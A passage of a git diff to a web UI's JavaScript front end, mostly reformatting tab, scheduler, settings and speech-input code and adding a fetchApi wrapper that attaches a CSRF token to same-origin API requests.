Modify the existing handleFileUpload to use the new handleFiles function-window.handleFileUpload = function(event) {- const files = event.target.files;- const inputAD = Alpine.$data(inputSection);- handleFiles(files, inputAD);-}+window.handleFileUpload = function (event) {+ const files = event.target.files;+ const inputAD = Alpine.$data(inputSection);+ handleFiles(files, inputAD);+};// Setup event handlers once the DOM is fully loaded-document.addEventListener('DOMContentLoaded', function() {- setupSidebarToggle();- setupTabs();- initializeActiveTab();+document.addEventListener("DOMContentLoaded", function () {+ setupSidebarToggle();+ setupTabs();+ initializeActiveTab();});// Setup tabs functionalityfunction setupTabs() {- const chatsTab = document.getElementById('chats-tab');- const tasksTab = document.getElementById('tasks-tab');+ const chatsTab = document.getElementById("chats-tab");+ const tasksTab = document.getElementById("tasks-tab");- if (chatsTab && tasksTab) {- chatsTab.addEventListener('click', function() {- activateTab('chats');- });+ if (chatsTab && tasksTab) {+ chatsTab.addEventListener("click", function () {+ activateTab("chats");+ });- tasksTab.addEventListener('click', function() {- activateTab('tasks');- });- } else {- console.error('Tab elements not found');- setTimeout(setupTabs, 100); // Retry setup- }+ tasksTab.addEventListener("click", function () {+ activateTab("tasks");+ });+ } else {+ console.error("Tab elements not found");+ setTimeout(setupTabs, 100); // Retry setup+ }}function activateTab(tabName) {- const chatsTab = document.getElementById('chats-tab');- const tasksTab = document.getElementById('tasks-tab');- const chatsSection = document.getElementById('chats-section');- const tasksSection = document.getElementById('tasks-section');-- // Get current context to preserve before switching- const currentContext = context;-- // Store the current selection for the active tab before switching- const previousTab = localStorage.getItem('activeTab');- if (previousTab === 'chats') {- localStorage.setItem('lastSelectedChat', currentContext);- } else if (previousTab === 'tasks') {- localStorage.setItem('lastSelectedTask', currentContext);+ const chatsTab = document.getElementById("chats-tab");+ const tasksTab = document.getElementById("tasks-tab");+ const chatsSection = document.getElementById("chats-section");+ const tasksSection = document.getElementById("tasks-section");++ // Get current context to preserve before switching+ const currentContext = context;++ // Store the current selection for the active tab before switching+ const previousTab = localStorage.getItem("activeTab");+ if (previousTab === "chats") {+ localStorage.setItem("lastSelectedChat", currentContext);+ } else if (previousTab === "tasks") {+ localStorage.setItem("lastSelectedTask", currentContext);+ }++ // Reset all tabs and sections+ chatsTab.classList.remove("active");+ tasksTab.classList.remove("active");+ chatsSection.style.display = "none";+ tasksSection.style.display = "none";++ // Remember the last active tab in localStorage+ localStorage.setItem("activeTab", tabName);++ // Activate selected tab and section+ if (tabName === "chats") {+ chatsTab.classList.add("active");+ chatsSection.style.display = "";++ // Get the available contexts from Alpine.js data+ const chatsAD = Alpine.$data(chatsSection);+ const availableContexts = chatsAD.contexts || [];++ // Restore previous chat selection+ const lastSelectedChat = localStorage.getItem("lastSelectedChat");++ // Only switch if:+ // 1. lastSelectedChat exists AND+ // 2. It's different from current context AND+ // 3. The context actually exists in our contexts list OR there are no contexts yet+ if (+ lastSelectedChat &&+ lastSelectedChat !== currentContext &&+ (availableContexts.some((ctx) => ctx.id === lastSelectedChat) ||+ availableContexts.length === 0)+ ) {+ setContext(lastSelectedChat);}+ } else if (tabName === "tasks") {+ tasksTab.classList.add("active");+ tasksSection.style.display = "flex";+ tasksSection.style.flexDirection = "column";- // Reset all tabs and sections- chatsTab.classList.remove('active');- tasksTab.classList.remove('active');- chatsSection.style.display = 'none';- tasksSection.style.display = 'none';-- // Remember the last active tab in localStorage- localStorage.setItem('activeTab', tabName);-- // Activate selected tab and section- if (tabName === 'chats') {- chatsTab.classList.add('active');- chatsSection.style.display = '';-- // Get the available contexts from Alpine.js data- const chatsAD = Alpine.$data(chatsSection);- const availableContexts = chatsAD.contexts || [];-- // Restore previous chat selection- const lastSelectedChat = localStorage.getItem('lastSelectedChat');-- // Only switch if:- // 1. lastSelectedChat exists AND- // 2. It's different from current context AND- // 3. The context actually exists in our contexts list OR there are no contexts yet- if (lastSelectedChat &&- lastSelectedChat !== currentContext &&- (availableContexts.some(ctx => ctx.id === lastSelectedChat) || availableContexts.length === 0)) {- setContext(lastSelectedChat);- }- } else if (tabName === 'tasks') {- tasksTab.classList.add('active');- tasksSection.style.display = 'flex';- tasksSection.style.flexDirection = 'column';-- // Get the available tasks from Alpine.js data- const tasksAD = Alpine.$data(tasksSection);- const availableTasks = tasksAD.tasks || [];-- // Restore previous task selection- const lastSelectedTask = localStorage.getItem('lastSelectedTask');-- // Only switch if:- // 1. lastSelectedTask exists AND- // 2. It's different from current context AND- // 3. The task actually exists in our tasks list- if (lastSelectedTask &&- lastSelectedTask !== currentContext &&- availableTasks.some(task => task.id === lastSelectedTask)) {- setContext(lastSelectedTask);- }+ // Get the available tasks from Alpine.js data+ const tasksAD = Alpine.$data(tasksSection);+ const availableTasks = tasksAD.tasks || [];++ // Restore previous task selection+ const lastSelectedTask = localStorage.getItem("lastSelectedTask");++ // Only switch if:+ // 1. lastSelectedTask exists AND+ // 2. It's different from current context AND+ // 3. The task actually exists in our tasks list+ if (+ lastSelectedTask &&+ lastSelectedTask !== currentContext &&+ availableTasks.some((task) => task.id === lastSelectedTask)+ ) {+ setContext(lastSelectedTask);}+ }- // Request a poll update- poll();+ // Request a poll update+ poll();}// Add function to initialize active tab and selections from localStoragefunction initializeActiveTab() {- // Initialize selection storage if not present- if (!localStorage.getItem('lastSelectedChat')) {- localStorage.setItem('lastSelectedChat', '');- }- if (!localStorage.getItem('lastSelectedTask')) {- localStorage.setItem('lastSelectedTask', '');- }-- const activeTab = localStorage.getItem('activeTab') || 'chats';- activateTab(activeTab);+ // Initialize selection storage if not present+ if (!localStorage.getItem("lastSelectedChat")) {+ localStorage.setItem("lastSelectedChat", "");+ }+ if (!localStorage.getItem("lastSelectedTask")) {+ localStorage.setItem("lastSelectedTask", "");+ }++ const activeTab = localStorage.getItem("activeTab") || "chats";+ activateTab(activeTab);}/*@@ -1287,53 +1335,55 @@ function initializeActiveTab() {// Open the scheduler detail view for a specific taskfunction openTaskDetail(taskId) {- // Wait for Alpine.js to be fully loaded- if (window.Alpine) {- // Get the settings modal button and click it to ensure all init logic happens- const settingsButton = document.getElementById('settings');- if (settingsButton) {- // Programmatically click the settings button- settingsButton.click();-- // Now get a reference to the modal element- const modalEl = document.getElementById('settingsModal');- if (!modalEl) {- console.error('Settings modal element not found after clicking button');- return;- }-- // Get the Alpine.js data for the modal- const modalData = Alpine.$data(modalEl);-- // Use a timeout to ensure the modal is fully rendered- setTimeout(() => {- // Switch to the scheduler tab first- modalData.switchTab('scheduler');-- // Use another timeout to ensure the scheduler component is initialized- setTimeout(() => {- // Get the scheduler component- const schedulerComponent = document.querySelector('[x-data="schedulerSettings"]');- if (!schedulerComponent) {- console.error('Scheduler component not found');- return;- }-- // Get the Alpine.js data for the scheduler component- const schedulerData = Alpine.$data(schedulerComponent);-- // Show the task detail view for the specific task- schedulerData.showTaskDetail(taskId);-- console.log('Task detail view opened for task:', taskId);- }, 50); // Give time for the scheduler tab to initialize- }, 25); // Give time for the modal to render- } else {- console.error('Settings button not found');- }+ // Wait for Alpine.js to be fully loaded+ if (window.Alpine) {+ // Get the settings modal button and click it to ensure all init logic happens+ const settingsButton = document.getElementById("settings");+ if (settingsButton) {+ // Programmatically click the settings button+ settingsButton.click();++ // Now get a reference to the modal element+ const modalEl = document.getElementById("settingsModal");+ if (!modalEl) {+ console.error("Settings modal element not found after clicking button");+ return;+ }++ // Get the Alpine.js data for the modal+ const modalData = Alpine.$data(modalEl);++ // Use a timeout to ensure the modal is fully rendered+ setTimeout(() => {+ // Switch to the scheduler tab first+ modalData.switchTab("scheduler");++ // Use another timeout to ensure the scheduler component is initialized+ setTimeout(() => {+ // Get the scheduler component+ const schedulerComponent = document.querySelector(+ '[x-data="schedulerSettings"]'+ );+ if (!schedulerComponent) {+ console.error("Scheduler component not found");+ return;+ }++ // Get the Alpine.js data for the scheduler component+ const schedulerData = Alpine.$data(schedulerComponent);++ // Show the task detail view for the specific task+ schedulerData.showTaskDetail(taskId);++ console.log("Task detail view opened for task:", taskId);+ }, 50); // Give time for the scheduler tab to initialize+ }, 25); // Give time for the modal to render} else {- console.error('Alpine.js not loaded');+ console.error("Settings button not found");}+ } else {+ console.error("Alpine.js not loaded");+ }}// Make the function available globallydiff --git a/webui/js/api.js b/webui/js/api.jsindex d5f1d9ba1..ba1db5cf3 100644--- a/webui/js/api.js+++ b/webui/js/api.js@@ -6,11 +6,12 @@* @returns {Promise<any>} The JSON response from the API*/export async function callJsonApi(endpoint, data) {- const response = await fetch(endpoint, {+ const response = await fetchApi(endpoint, {method: "POST",headers: {"Content-Type": "application/json",},+ credentials: "same-origin",body: JSON.stringify(data),});@@ -21,3 +22,62 @@ export async function callJsonApi(endpoint, data) {const jsonResponse = await response.json();return jsonResponse;}++/**+ * Fetch wrapper for A0 APIs that ensures token exchange+ * Automatically adds CSRF token to request headers+ * @param {string} url - The URL to fetch+ * @param {Object} [request] - The fetch request options+ * @returns {Promise<Response>} The fetch response+ */+export async function fetchApi(url, request) {+ async function _wrap(retry) {+ // get the CSRF token+ const token = await getCsrfToken();++ // create a new request object if none was provided+ const finalRequest = request || {};++ // ensure headers object exists+ finalRequest.headers = finalRequest.headers || {};++ // add the CSRF token to the headers+ finalRequest.headers["X-CSRF-Token"] = token;++ // perform the fetch with the updated request+ const response = await fetch(url, finalRequest);++ // check if there was an CSRF error+ if (response.status === 403 && retry) {+ // retry the request with new token+ csrfToken = null;+ return await _wrap(false);+ }++ // return the response+ return response;+ }++ // perform the request+ const response = await _wrap(true);++ // return the response+ return response;+}++// csrf token stored locally+let csrfToken = null;++/**+ * Get the CSRF token for API requests+ * Caches the token after first request+ * @returns {Promise<string>} The CSRF token+ */+async function getCsrfToken() {+ if (csrfToken) return csrfToken;+ const response = await fetch("/csrf_token", {+ credentials: "same-origin",+ }).then((r) => r.json());+ csrfToken = response.token;+ return csrfToken;+}diff --git a/webui/js/file_browser.js b/webui/js/file_browser.jsindex 585aac0ff..d86a2f6d4 100644--- a/webui/js/file_browser.js+++ b/webui/js/file_browser.js@@ -39,7 +39,7 @@ const fileBrowserModalProxy = {async fetchFiles(path = "") {this.isLoading = true;try {- const response = await fetch(+ const response = await fetchApi(`/get_work_dir_files?path=${encodeURIComponent(path)}`);@@ -113,7 +113,7 @@ const fileBrowserModalProxy = {}try {- const response = await fetch("/delete_work_dir_file", {+ const response = await fetchApi("/delete_work_dir_file", {method: "POST",headers: {"Content-Type": "application/json",@@ -162,7 +162,7 @@ const fileBrowserModalProxy = {}// Proceed with upload after validation- const response = await fetch("/upload_work_dir_files", {+ const response = await fetchApi("/upload_work_dir_files", {method: "POST",body: formData,});@@ -199,7 +199,7 @@ const fileBrowserModalProxy = {file.path)}`;- const response = await fetch(downloadUrl);+ const response = await fetchApi(downloadUrl);if (!response.ok) {throw new Error("Network response was not ok");diff --git a/webui/js/scheduler.js b/webui/js/scheduler.jsindex fc7998ac7..b0cba1f72 100644--- a/webui/js/scheduler.js+++ b/webui/js/scheduler.js@@ -256,7 +256,7 @@ const fullComponentImplementation = function() {this.isLoading = true;try {- const response = await fetch('/scheduler_tasks_list', {+ const response = await fetchApi('/scheduler_tasks_list', {method: 'POST',headers: {'Content-Type': 'application/json'@@ -784,7 +784,7 @@ const fullComponentImplementation = function() {console.log('Final task data being sent to API:', JSON.stringify(taskData, null, 2));// Make API request- const response = await fetch(apiEndpoint, {+ const response = await fetchApi(apiEndpoint, {method: 'POST',headers: {'Content-Type': 'application/json'@@ -874,7 +874,7 @@ const fullComponentImplementation = function() {// Run a taskasync runTask(taskId) {try {- const response = await fetch('/scheduler_task_run', {+ const response = await fetchApi('/scheduler_task_run', {method: 'POST',headers: {'Content-Type': 'application/json'@@ -918,7 +918,7 @@ const fullComponentImplementation = function() {this.showLoadingState = true;// Call API to update the task state- const response = await fetch('/scheduler_task_update', {+ const response = await fetchApi('/scheduler_task_update', {method: 'POST',headers: {'Content-Type': 'application/json'@@ -959,7 +959,7 @@ const fullComponentImplementation = function() {// if we delete selected context, switch to another firstswitchFromContext(taskId);- const response = await fetch('/scheduler_task_delete', {+ const response = await fetchApi('/scheduler_task_delete', {method: 'POST',headers: {'Content-Type': 'application/json'diff --git a/webui/js/settings.js b/webui/js/settings.jsindex ab41c83e2..9332e239a 100644--- a/webui/js/settings.js+++ b/webui/js/settings.js@@ -359,7 +359,7 @@ document.addEventListener('alpine:init', function () {async fetchSettings() {try {this.isLoading = true;- const response = await fetch('/api/settings_get', {+ const response = await fetchApi('/api/settings_get', {method: 'POST',headers: {'Content-Type': 'application/json'@@ -424,7 +424,7 @@ document.addEventListener('alpine:init', function () {}// Send request- const response = await fetch('/api/settings_save', {+ const response = await fetchApi('/api/settings_save', {method: 'POST',headers: {'Content-Type': 'application/json'@@ -481,7 +481,7 @@ document.addEventListener('alpine:init', function () {}// Send test request- const response = await fetch('/api/test_connection', {+ const response = await fetchApi('/api/test_connection', {method: 'POST',headers: {'Content-Type': 'application/json'diff --git a/webui/js/speech.js b/webui/js/speech.jsindex 2a088b06d..db586b5fb 100644--- a/webui/js/speech.js+++ b/webui/js/speech.js@@ -1,461 +1,481 @@// import { pipeline, read_audio } from '../[email protected]';-import { updateChatInput, sendMessage } from '../index.js';+import { updateChatInput, sendMessage } from "../index.js";-const microphoneButton = document.getElementById('microphone-button');+const microphoneButton = document.getElementById("microphone-button");let microphoneInput = null;let isProcessingClick = false;const Status = {- INACTIVE: 'inactive',- ACTIVATING: 'activating',- LISTENING: 'listening',- RECORDING: 'recording',- WAITING: 'waiting',- PROCESSING: 'processing'+ INACTIVE: "inactive",+ ACTIVATING: "activating",+ LISTENING: "listening",+ RECORDING: "recording",+ WAITING: "waiting",+ PROCESSING: "processing",};const micSettings = {- stt_model_size: 'tiny',- stt_language: 'en',- stt_silence_threshold: 0.05,- stt_silence_duration: 1000,- stt_waiting_timeout: 2000,+ stt_model_size: "tiny",+ stt_language: "en",+ stt_silence_threshold: 0.05,+ stt_silence_duration: 1000,+ stt_waiting_timeout: 2000,};-window.micSettings = micSettings-loadMicSettings()+window.micSettings = micSettings;+loadMicSettings();function densify(x) {- return Math.exp(-5 * (1 - x));+ return Math.exp(-5 * (1 - x));}async function loadMicSettings() {- try {- const response = await fetch('/settings_get');- const data = await response.json();- const sttSettings = data.settings.sections.find(s => s.title === 'Speech to Text');-- if (sttSettings) {- // Update options from server settings- sttSettings.fields.forEach(field => {- const key = field.id //.split('.')[1]; // speech_to_text.model_size -> model_size- micSettings[key] = field.value;- });- }- } catch (error) {- window.toastFetchError("Failed to load speech settings", error)- console.error('Failed to load speech settings:', error);+ try {+ const response = await fetchApi("/settings_get", {+ method: "POST",+ });+ const data = await response.json();+ const sttSettings = data.settings.sections.find(+ (s) => s.title === "Speech to Text"+ );++ if (sttSettings) {+ // Update options from server settings+ sttSettings.fields.forEach((field) => {+ const key = field.id; //.split('.')[1]; // speech_to_text.model_size -> model_size+ micSettings[key] = field.value;+ });}+ } catch (error) {+ window.toastFetchError("Failed to load speech settings", error);+ console.error("Failed to load speech settings:", error);+ }}class MicrophoneInput {- constructor(updateCallback, options = {}) {- this.mediaRecorder = null;- this.audioChunks = [];- this.lastChunk = [];- this.updateCallback = updateCallback;- this.messageSent = false;-- // Audio analysis properties- this.audioContext = null;- this.mediaStreamSource = null;- this.analyserNode = null;- this._status = Status.INACTIVE;-- // Timing properties- this.lastAudioTime = null;- this.waitingTimer = null;- this.silenceStartTime = null;- this.hasStartedRecording = false;- this.analysisFrame = null;+ constructor(updateCallback, options = {}) {+ this.mediaRecorder = null;+ this.audioChunks = [];+ this.lastChunk = [];+ this.updateCallback = updateCallback;+ this.messageSent = false;++ // Audio analysis properties+ this.audioContext = null;+ this.mediaStreamSource = null;+ this.analyserNode = null;+ this._status = Status.INACTIVE;++ // Timing properties+ this.lastAudioTime = null;+ this.waitingTimer = null;+ this.silenceStartTime = null;+ this.hasStartedRecording = false;+ this.analysisFrame = null;+ }++ get status() {+ return this._status;+ }++ set status(newStatus) {+ if (this._status === newStatus) return;++ const oldStatus = this._status;+ this._status = newStatus;+ console.log(`Mic status changed from ${oldStatus} to ${newStatus}`);++ // Update UI+ microphoneButton.classList.remove(`mic-${oldStatus.toLowerCase()}`);+ microphoneButton.classList.add(`mic-${newStatus.toLowerCase()}`);+ microphoneButton.setAttribute("data-status", newStatus);++ // Handle state-specific behaviors+ this.handleStatusChange(oldStatus, newStatus);+ }++ handleStatusChange(oldStatus, newStatus) {+ //last chunk kept only for transition to recording status+ if (newStatus != Status.RECORDING) {+ this.lastChunk = null;}- get status() {- return this._status;+ switch (newStatus) {+ case Status.INACTIVE:+ this.handleInactiveState();+ break;+ case Status.LISTENING:+ this.handleListeningState();+ break;+ case Status.RECORDING:+ this.handleRecordingState();+ break;+ case Status.WAITING:+ this.handleWaitingState();+ break;+ case Status.PROCESSING:+ this.handleProcessingState();+ break;}-- set status(newStatus) {- if (this._status === newStatus) return;-- const oldStatus = this._status;- this._status = newStatus;- console.log(`Mic status changed from ${oldStatus} to ${newStatus}`);-- // Update UI- microphoneButton.classList.remove(`mic-${oldStatus.toLowerCase()}`);- microphoneButton.classList.add(`mic-${newStatus.toLowerCase()}`);- microphoneButton.setAttribute('data-status', newStatus);-- // Handle state-specific behaviors- this.handleStatusChange(oldStatus, newStatus);+ }++ handleInactiveState() {+ this.stopRecording();+ this.stopAudioAnalysis();+ if (this.waitingTimer) {+ clearTimeout(this.waitingTimer);+ this.waitingTimer = null;}-- handleStatusChange(oldStatus, newStatus) {-- //last chunk kept only for transition to recording status- if (newStatus != Status.RECORDING) { this.lastChunk = null; }-- switch (newStatus) {- case Status.INACTIVE:- this.handleInactiveState();- break;- case Status.LISTENING:- this.handleListeningState();- break;- case Status.RECORDING:- this.handleRecordingState();- break;- case Status.WAITING:- this.handleWaitingState();- break;- case Status.PROCESSING:- this.handleProcessingState();- break;- }+ }++ handleListeningState() {+ this.stopRecording();+ this.audioChunks = [];+ this.hasStartedRecording = false;+ this.silenceStartTime = null;+ this.lastAudioTime = null;+ this.messageSent = false;+ this.startAudioAnalysis();+ }++ handleRecordingState() {+ if (!this.hasStartedRecording && this.mediaRecorder.state !== "recording") {+ this.hasStartedRecording = true;+ this.mediaRecorder.start(1000);+ console.log("Speech started");}-- handleInactiveState() {- this.stopRecording();- this.stopAudioAnalysis();- if (this.waitingTimer) {- clearTimeout(this.waitingTimer);- this.waitingTimer = null;- }+ if (this.waitingTimer) {+ clearTimeout(this.waitingTimer);+ this.waitingTimer = null;}-- handleListeningState() {- this.stopRecording();- this.audioChunks = [];- this.hasStartedRecording = false;- this.silenceStartTime = null;- this.lastAudioTime = null;- this.messageSent = false;- this.startAudioAnalysis();+ }++ handleWaitingState() {+ // Don't stop recording during waiting state+ this.waitingTimer = setTimeout(() => {+ if (this.status === Status.WAITING) {+ this.status = Status.PROCESSING;+ }+ }, micSettings.stt_waiting_timeout);+ }++ handleProcessingState() {+ this.stopRecording();+ this.process();+ }++ stopRecording() {+ if (this.mediaRecorder?.state === "recording") {+ this.mediaRecorder.stop();+ this.hasStartedRecording = false;}+ }- handleRecordingState() {- if (!this.hasStartedRecording && this.mediaRecorder.state !== 'recording') {- this.hasStartedRecording = true;- this.mediaRecorder.start(1000);- console.log('Speech started');- }- if (this.waitingTimer) {- clearTimeout(this.waitingTimer);- this.waitingTimer = null;+ async initialize() {+ try {+ const stream = await navigator.mediaDevices.getUserMedia({+ audio: {+ echoCancellation: true,+ noiseSuppression: true,+ channelCount: 1,+ },+ });++ this.mediaRecorder = new MediaRecorder(stream);+ this.mediaRecorder.ondataavailable = (event) => {+ if (+ event.data.size > 0 &&+ (this.status === Status.RECORDING || this.status === Status.WAITING)+ ) {+ if (this.lastChunk) {+ this.audioChunks.push(this.lastChunk);+ this.lastChunk = null;+ }+ this.audioChunks.push(event.data);+ console.log(+ "Audio chunk received, total chunks:",+ this.audioChunks.length+ );+ } else if (this.status === Status.LISTENING) {+ this.lastChunk = event.data;}- }-- handleWaitingState() {- // Don't stop recording during waiting state- this.waitingTimer = setTimeout(() => {- if (this.status === Status.WAITING) {- this.status = Status.PROCESSING;- }- }, micSettings.stt_waiting_timeout);- }-- handleProcessingState() {- this.stopRecording();- this.process();- }+ };- stopRecording() {- if (this.mediaRecorder?.state === 'recording') {- this.mediaRecorder.stop();- this.hasStartedRecording = false;- }+ this.setupAudioAnalysis(stream);+ return true;+ } catch (error) {+ console.error("Microphone initialization error:", error);+ toast("Failed to access microphone. Please check permissions.", "error");+ return false;}+ }++ setupAudioAnalysis(stream) {+ this.audioContext = new (window.AudioContext ||+ window.webkitAudioContext)();+ this.mediaStreamSource = this.audioContext.createMediaStreamSource(stream);+ this.analyserNode = this.audioContext.createAnalyser();+ this.analyserNode.fftSize = 2048;+ this.analyserNode.minDecibels = -90;+ this.analyserNode.maxDecibels = -10;+ this.analyserNode.smoothingTimeConstant = 0.85;+ this.mediaStreamSource.connect(this.analyserNode);+ }++ startAudioAnalysis() {+ const analyzeFrame = () => {+ if (this.status === Status.INACTIVE) return;++ const dataArray = new Uint8Array(this.analyserNode.fftSize);+ this.analyserNode.getByteTimeDomainData(dataArray);++ // Calculate RMS volume+ let sum = 0;+ for (let i = 0; i < dataArray.length; i++) {+ const amplitude = (dataArray[i] - 128) / 128;+ sum += amplitude * amplitude;+ }+ const rms = Math.sqrt(sum / dataArray.length);++ const now = Date.now();++ // Update status based on audio level+ if (rms > densify(micSettings.stt_silence_threshold)) {+ this.lastAudioTime = now;+ this.silenceStartTime = null;- async initialize() {- try {- const stream = await navigator.mediaDevices.getUserMedia({- audio: {- echoCancellation: true,- noiseSuppression: true,- channelCount: 1- }- });-- this.mediaRecorder = new MediaRecorder(stream);- this.mediaRecorder.ondataavailable = (event) => {- if (event.data.size > 0 &&- (this.status === Status.RECORDING || this.status === Status.WAITING)) {- if (this.lastChunk) {- this.audioChunks.push(this.lastChunk);- this.lastChunk = null;- }- this.audioChunks.push(event.data);- console.log('Audio chunk received, total chunks:', this.audioChunks.length);- }- else if (this.status === Status.LISTENING) {- this.lastChunk = event.data;- }- };-- this.setupAudioAnalysis(stream);- return true;- } catch (error) {-- console.error('Microphone initialization error:', error);- toast('Failed to access microphone. Please check permissions.', 'error');- return false;+ if (+ this.status === Status.LISTENING ||+ this.status === Status.WAITING+ ) {+ if (!speech.isSpeaking())+ // TODO? a better way to ignore agent's voice?+ this.status = Status.RECORDING;}- }-- setupAudioAnalysis(stream) {- this.audioContext = new (window.AudioContext || window.webkitAudioContext)();- this.mediaStreamSource = this.audioContext.createMediaStreamSource(stream);- this.analyserNode = this.audioContext.createAnalyser();- this.analyserNode.fftSize = 2048;- this.analyserNode.minDecibels = -90;- this.analyserNode.maxDecibels = -10;- this.analyserNode.smoothingTimeConstant = 0.85;- this.mediaStreamSource.connect(this.analyserNode);- }-- startAudioAnalysis() {- const analyzeFrame = () => {- if (this.status === Status.INACTIVE) return;-- const dataArray = new Uint8Array(this.analyserNode.fftSize);- this.analyserNode.getByteTimeDomainData(dataArray);-- // Calculate RMS volume- let sum = 0;- for (let i = 0; i < dataArray.length; i++) {- const amplitude = (dataArray[i] - 128) / 128;- sum += amplitude * amplitude;- }- const rms = Math.sqrt(sum / dataArray.length);-- const now = Date.now();-- // Update status based on audio level- if (rms > densify(micSettings.stt_silence_threshold)) {- this.lastAudioTime = now;- this.silenceStartTime = null;-- if (this.status === Status.LISTENING || this.status === Status.WAITING) {- if (!speech.isSpeaking()) // TODO? a better way to ignore agent's voice?- this.status = Status.RECORDING;- }- } else if (this.status === Status.RECORDING) {- if (!this.silenceStartTime) {- this.silenceStartTime = now;- }-- const silenceDuration = now - this.silenceStartTime;- if (silenceDuration >= micSettings.stt_silence_duration) {- this.status = Status.WAITING;- }- }-- this.analysisFrame = requestAnimationFrame(analyzeFrame);- };-- this.analysisFrame = requestAnimationFrame(analyzeFrame);- }-- stopAudioAnalysis() {- if (this.analysisFrame) {- cancelAnimationFrame(this.analysisFrame);- this.analysisFrame = null;+ } else if (this.status === Status.RECORDING) {+ if (!this.silenceStartTime) {+ this.silenceStartTime = now;}- }- async process() {- if (this.audioChunks.length === 0) {- this.status = Status.LISTENING;- return;+ const silenceDuration = now - this.silenceStartTime;+ if (silenceDuration >= micSettings.stt_silence_duration) {+ this.status = Status.WAITING;}+ }- const audioBlob = new Blob(this.audioChunks, { type: 'audio/wav' });- const base64 = await this.convertBlobToBase64Wav(audioBlob)-- try {+ this.analysisFrame = requestAnimationFrame(analyzeFrame);+ };- const result = await sendJsonData('/transcribe', { audio: base64 })+ this.analysisFrame = requestAnimationFrame(analyzeFrame);+ }+ stopAudioAnalysis() {+ if (this.analysisFrame) {+ cancelAnimationFrame(this.analysisFrame);+ this.analysisFrame = null;+ }+ }- const text = this.filterResult(result.text || "")-- if (text) {- console.log('Transcription:', result.text);- await this.updateCallback(result.text, true);- }- } catch (error) {- window.toastFetchError("Transcription error", error)- console.error('Transcription error:', error);- } finally {- this.audioChunks = [];- this.status = Status.LISTENING;- }+ async process() {+ if (this.audioChunks.length === 0) {+ this.status = Status.LISTENING;+ return;}- convertBlobToBase64Wav(audioBlob) {- return new Promise((resolve, reject) => {- const reader = new FileReader();+ const audioBlob = new Blob(this.audioChunks, { type: "audio/wav" });+ const base64 = await this.convertBlobToBase64Wav(audioBlob);- // Read the Blob as a Data URL- reader.onloadend = () => {- const base64Data = reader.result.split(",")[1]; // Extract Base64 data- resolve(base64Data);- };+ try {+ const result = await sendJsonData("/transcribe", { audio: base64 });- reader.onerror = (error) => {- reject(error);- };+ const text = this.filterResult(result.text || "");- reader.readAsDataURL(audioBlob); // Start reading the Blob- });+ if (text) {+ console.log("Transcription:", result.text);+ await this.updateCallback(result.text, true);+ }+ } catch (error) {+ window.toastFetchError("Transcription error", error);+ console.error("Transcription error:", error);+ } finally {+ this.audioChunks = [];+ this.status = Status.LISTENING;}-- filterResult(text) {- text = text.trim()- let ok = false- while (!ok) {- if (!text) break- if (text[0] === '{' && text[text.length - 1] === '}') break- if (text[0] === '(' && text[text.length - 1] === ')') break- if (text[0] === '[' && text[text.length - 1] === ']') break- ok = true- }- if (ok) return text- else console.log(`Discarding transcription: ${text}`)+ }++ convertBlobToBase64Wav(audioBlob) {+ return new Promise((resolve, reject) => {+ const reader = new FileReader();++ // Read the Blob as a Data URL+ reader.onloadend = () => {+ const base64Data = reader.result.split(",")[1]; // Extract Base64 data+ resolve(base64Data);+ };++ reader.onerror = (error) => {+ reject(error);+ };++ reader.readAsDataURL(audioBlob); // Start reading the Blob+ });+ }++ filterResult(text) {+ text = text.trim();+ let ok = false;+ while (!ok) {+ if (!text) break;+ if (text[0] === "{" && text[text.length - 1] === "}") break;+ if (text[0] === "(" && text[text.length - 1] === ")") break;+ if (text[0] === "[" && text[text.length - 1] === "]") break;+ ok = true;}+ if (ok) return text;+ else console.log(`Discarding transcription: ${text}`);+ }}--// Initialize and handle click eventsasync function initializeMicrophoneInput() {- window.microphoneInput = microphoneInput = new MicrophoneInput(- async (text, isFinal) => {- if (isFinal) {- updateChatInput(text);- if (!microphoneInput.messageSent) {- microphoneInput.messageSent = true;- await sendMessage();- }- }+ window.microphoneInput = microphoneInput = new MicrophoneInput(+ async (text, isFinal) => {+ if (isFinal) {+ updateChatInput(text);+ if (!microphoneInput.messageSent) {+ microphoneInput.messageSent = true;+ await sendMessage();}- );- microphoneInput.status = Status.ACTIVATING;+ }+ }+ );+ microphoneInput.status = Status.ACTIVATING;- return await microphoneInput.initialize();+ return await microphoneInput.initialize();}-microphoneButton.addEventListener('click', async () => {- if (isProcessingClick) return;- isProcessingClick = true;+microphoneButton.addEventListener("click", async () => {+ if (isProcessingClick) return;+ isProcessingClick = true;- const hasPermission = await requestMicrophonePermission();- if (!hasPermission) return;+ const hasPermission = await requestMicrophonePermission();+ if (!hasPermission) return;- try {- if (!microphoneInput && !await initializeMicrophoneInput()) {- return;- }-- // Simply toggle between INACTIVE and LISTENING states- microphoneInput.status =- (microphoneInput.status === Status.INACTIVE || microphoneInput.status === Status.ACTIVATING) ? Status.LISTENING : Status.INACTIVE;- } finally {- setTimeout(() => {- isProcessingClick = false;- }, 300);+ try {+ if (!microphoneInput && !(await initializeMicrophoneInput())) {+ return;}++ // Simply toggle between INACTIVE and LISTENING states+ microphoneInput.status =+ microphoneInput.status === Status.INACTIVE ||+ microphoneInput.status === Status.ACTIVATING+ ? Status.LISTENING+ : Status.INACTIVE;+ } finally {+ setTimeout(() => {+ isProcessingClick = false;+ }, 300);+ }});// Some error handling for microphone inputasync function requestMicrophonePermission() {- try {- await navigator.mediaDevices.getUserMedia({ audio: true });- return true;- } catch (err) {- console.error('Error accessing microphone:', err);- toast('Microphone access denied. Please enable microphone access in your browser settings.', 'error');- return false;- }+ try {+ await navigator.mediaDevices.getUserMedia({ audio: true });+ return true;+ } catch (err) {+ console.error("Error accessing microphone:", err);+ toast(+ "Microphone access denied. Please enable microphone access in your browser settings.",+ "error"+ );+ return false;+ }}-class Speech {- constructor() {- this.synth = window.speechSynthesis;- this.utterance = null;- }-- stripEmojis(str) {- return str- .replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, '')- .replace(/\s+/g, ' ')- .trim();- }-- speak(text) {- console.log('Speaking:', text);- // Stop any current utterance- this.stop();-- // Remove emojis and create a new utterance- text = this.stripEmojis(text);- text = this.replaceURLs(text);- text = this.replaceGuids(text);- this.utterance = new SpeechSynthesisUtterance(text);-- // Speak the new utterance- this.synth.speak(this.utterance);- }-- replaceURLs(text) {- const urlRegex = 